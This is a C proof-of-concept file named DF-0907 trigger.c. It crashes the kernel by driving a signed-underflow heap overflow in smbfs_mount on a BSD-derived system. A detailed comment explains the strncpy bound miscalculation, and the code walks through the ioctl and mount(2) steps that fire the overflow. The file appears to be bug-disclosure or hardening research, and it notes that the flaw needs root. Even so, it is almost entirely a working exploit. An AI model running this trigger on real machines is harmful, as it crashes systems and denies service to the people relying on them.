DF-0907 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 | /* * DF-0907 trigger โ smbfs_mount signed-underflow heap overflow. * * Root-cause (sys/vfs/smbfs/smbfs_vfsops.c:165-178): * pc = mp->mnt_stat.f_mntfromname; // f_mntfromname[MNAMELEN=80] * pe = pc + sizeof(f_mntfromname); // pe = pc + 80 * bzero(pc, MNAMELEN); * *pc++ = '/'; // pc -> buf+1 * *pc++ = '/'; // pc -> buf+2 * pc = index(strncpy(pc, vc_username, pe-pc-2), 0); // bound = 80-2-2 = 76 * if (pc < pe-1) { * *(pc++) = '@'; * pc = index(strncpy(pc, vc_srvname, pe-pc-2), 0); // bound = 80-79-2 = -1 * } * * When strlen(vc_username) >= 76, the first strncpy writes 76 bytes with NO * NUL terminator. `index(pc,0)` then scans past the 76 written bytes and finds * the still-zero byte at buf[78] (bzero'd at line 167) -> pc=buf+78. * `if (pc < pe-1)` -> `buf+78 < buf+79` -> TRUE. * `*(pc++)='@'` overwrites the buf[78] zero, pc=buf+79. * `strncpy(pc, vc_srvname, pe-pc-2)` -> bound = (buf+80)-(buf+79)-2 = -1, which * as ptrdiff_t -> size_t is (size_t)-1 == SIZE_MAX. strncpy writes vc_srvname * followed by ~SIZE_MAX zero-padding, blowing past f_mntfromname[80] into the * adjacent statfs / mount fields (mnt_vstat, mnt_data, mnt_cred, mnt_vn_*_ops). * On INVARIANTS / default GENERIC this is an immediate page-fault panic. * * Threat model: this is a mount-time, ROOT-triggered overflow. `mount(2)` on * smbfs requires root (or vfs.usermount+owner). It is therefore a * root->kernel hardening gap, NOT an unprivileged LPE. * * This harness bypasses the userspace mount_smbfs nbns-resolve step entirely: * it opens /dev/nsmb0, issues SMBIOC_LOOKUP to build the kernel VC with a long * vc_username (no server connection is made), then issues mount(2). The * overflow fires inside smbfs_mount before any SMB server contact. * * Build: cc -o trigger trigger.c * Run: ./trigger # as root, after `kldload smbfs` */ #include <sys/param.h> #include <sys/mount.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <vfs/smbfs/smbfs.h> #include <netproto/smb/smb.h> #include <netproto/smb/smb_dev.h> #include <netproto/smb/smb_conn.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define USERNAME_LEN 80 /* >= 76 triggers the pe-pc-2 underflow at line 173 */ int main(void) { int fd, rv; struct sockaddr_in sin; struct smbioc_lookup iol; struct smbfs_args mdata; char username[USERNAME_LEN + 1]; char mountpoint[] = "/mnt/df0907"; /* Build the long username (>= 76 chars) that survives smb_ctx_setuser's * strlen < SMB_MAXUSERNAMELEN(=128) check. */ memset(username, 'A', USERNAME_LEN); username[USERNAME_LEN] = '\0'; /* Make sure the mountpoint exists. */ mkdir(mountpoint, 0755); /* ---- 1. Open /dev/nsmb (the netsmb clone device) ---- */ fd = open("/dev/nsmb", O_RDWR); if (fd < 0) err(1, "open /dev/nsmb"); /* ---- 2. Build the smbioc_lookup: VC with long username + a share ---- */ memset(&sin, 0, sizeof(sin)); sin.sin_len = sizeof(sin); sin.sin_family = AF_INET; sin.sin_port = htons(139); sin.sin_addr.s_addr = inet_addr("127.0.0.1"); memset(&iol, 0, sizeof(iol)); iol.ioc_level = SMBL_SHARE; iol.ioc_flags = SMBLK_CREATE; /* allow create of new VC */ /* session (smbioc_ossn) */ iol.ioc_ssn.ioc_opt = SMBVOPT_PRIVATE; iol.ioc_ssn.ioc_server = (struct sockaddr *)&sin; iol.ioc_ssn.ioc_svlen = sizeof(sin); /* ioc_local MUST be non-NULL, else smb_vc_create() calls * dup_sockaddr(NULL) and NULL-derefs before vc_username is set. */ iol.ioc_ssn.ioc_local = (struct sockaddr *)&sin; iol.ioc_ssn.ioc_lolen = sizeof(sin); iol.ioc_ssn.ioc_timeout = 5; iol.ioc_ssn.ioc_retrycount = 1; strlcpy(iol.ioc_ssn.ioc_srvname, "X", sizeof(iol.ioc_ssn.ioc_srvname)); strlcpy(iol.ioc_ssn.ioc_localcs, "ASCII", sizeof(iol.ioc_ssn.ioc_localcs)); strlcpy(iol.ioc_ssn.ioc_servercs, "ASCII", sizeof(iol.ioc_ssn.ioc_servercs)); strlcpy(iol.ioc_ssn.ioc_user, username, sizeof(iol.ioc_ssn.ioc_user)); /* ioc_user[] is SMB_MAXUSERNAMELEN+1 = 129 bytes; USERNAME_LEN=80 fits. */ iol.ioc_ssn.ioc_owner = 0; /* root */ iol.ioc_ssn.ioc_group = 0; iol.ioc_ssn.ioc_mode = SMBM_EXEC; iol.ioc_ssn.ioc_rights = SMBM_EXEC; /* share (smbioc_oshare) โ needed so smb_dev2share() finds sd_share != NULL */ iol.ioc_sh.ioc_opt = 0; iol.ioc_sh.ioc_stype = 0; strlcpy(iol.ioc_sh.ioc_share, "SHARE", sizeof(iol.ioc_sh.ioc_share)); iol.ioc_sh.ioc_owner = 0; iol.ioc_sh.ioc_group = 0; iol.ioc_sh.ioc_mode = SMBM_EXEC; iol.ioc_sh.ioc_rights = SMBM_EXEC; printf("[*] username length = %zu (>= 76 triggers pe-pc-2 underflow)\n", strlen(username)); printf("[*] issuing SMBIOC_LOOKUP (builds kernel VC; no server contact)\n"); rv = ioctl(fd, SMBIOC_LOOKUP, &iol); if (rv != 0) err(2, "SMBIOC_LOOKUP"); printf("[*] SMBIOC_LOOKUP ok โ kernel VC now holds an 80-char vc_username\n"); printf("[*] issuing mount(SMBFS) โ about to enter smbfs_mount and overflow\n"); /* ---- 3. mount(2) -> smbfs_mount -> line 170-173 overflow ---- */ memset(&mdata, 0, sizeof(mdata)); mdata.version = SMBFS_VERSION; mdata.dev = fd; strlcpy(mdata.mount_point, mountpoint, sizeof(mdata.mount_point)); mdata.uid = 0; mdata.gid = 0; mdata.file_mode = 0644; mdata.dir_mode = 0755; mdata.caseopt = 0; /* If the bug is present, the kernel panics inside this call (page fault * on the SIZE_MAX zero-padding write) and we never return. */ rv = mount(SMBFS_VFSNAME, mdata.mount_point, 0, &mdata); printf("[!] mount returned rv=%d errno=%d (%s) โ kernel survived\n", rv, errno, strerror(errno)); close(fd); return (rv == 0) ? 0 : 1; } |